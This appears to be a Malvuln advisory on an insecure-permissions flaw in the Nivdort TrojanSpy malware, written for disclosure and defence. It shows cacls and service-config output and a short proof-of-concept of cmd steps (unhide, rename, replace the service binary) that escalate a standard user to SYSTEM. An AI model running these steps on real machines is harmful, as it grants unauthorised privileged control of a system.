Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/15bda00b57e2ed729a45f7cfa62165da.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: TrojanSpy Win32 Nivdort
Vulnerability: Insecure Permissions - EoP (SYSTEM) 
Family: Nivdort
Type: PE32
MD5: 15bda00b57e2ed729a45f7cfa62165da
Vuln ID: MVID-2024-0668
Dropped files: dqrpgvnkh, egjrdhynfm, nhefhloix, rvoyf6ljtqg4zejno.exe
Disclosure: 01/20/2024

Description:
The malware creates a service which runs as SYSTEM and grants change (C) permissions to the authenticated user group on its installation directory. Standard low integrity users can still rename the service executable while it is running, replace the PE file with their own and restart the infected system to start the service.

C:\>cacls C:\pewcvmnvyr\jwgaklb.exe
C:\pewcvmnvyr\jwgaklb.exe BUILTIN\Administrators:(ID)F
                          NT AUTHORITY\SYSTEM:(ID)F
                          BUILTIN\Users:(ID)R
                          NT AUTHORITY\Authenticated Users:(ID)C


C:\>sc qc "Group Key KtmRm Coordinator Registry TPM Bus"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Group Key KtmRm Coordinator Registry TPM Bus
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\pewcvmnvyr\jwgaklb.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Group Key KtmRm Coordinator Registry TPM Bus
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


Exploit/PoC:
Open a cmd prompt as standard user:

1) unhide the service binary
   C:\Users\norgt>attrib -s -h \pewcvmnvyr\jwgaklb.exe

2) rename the service binary
C:\Users\norgt>ren \pewcvmnvyr\jwgaklb.exe PWNED

3) optional replace with your own binary and escalate to SYSTEM

C:\Users\norgt>dir \pewcvmnvyr\
 Directory of C:\pewcvmnvyr
        ..
01/14/2024  02:05 AM                 0 dqrpgvnkh
01/14/2024  02:05 AM                 6 egjrdhynfm
01/14/2024  02:09 AM                 4 nhefhloix
01/14/2024  02:05 AM           332,800 PWNED   <================= DONE
01/14/2024  02:05 AM           332,800 rvoyf9njtqg4zejno.exe


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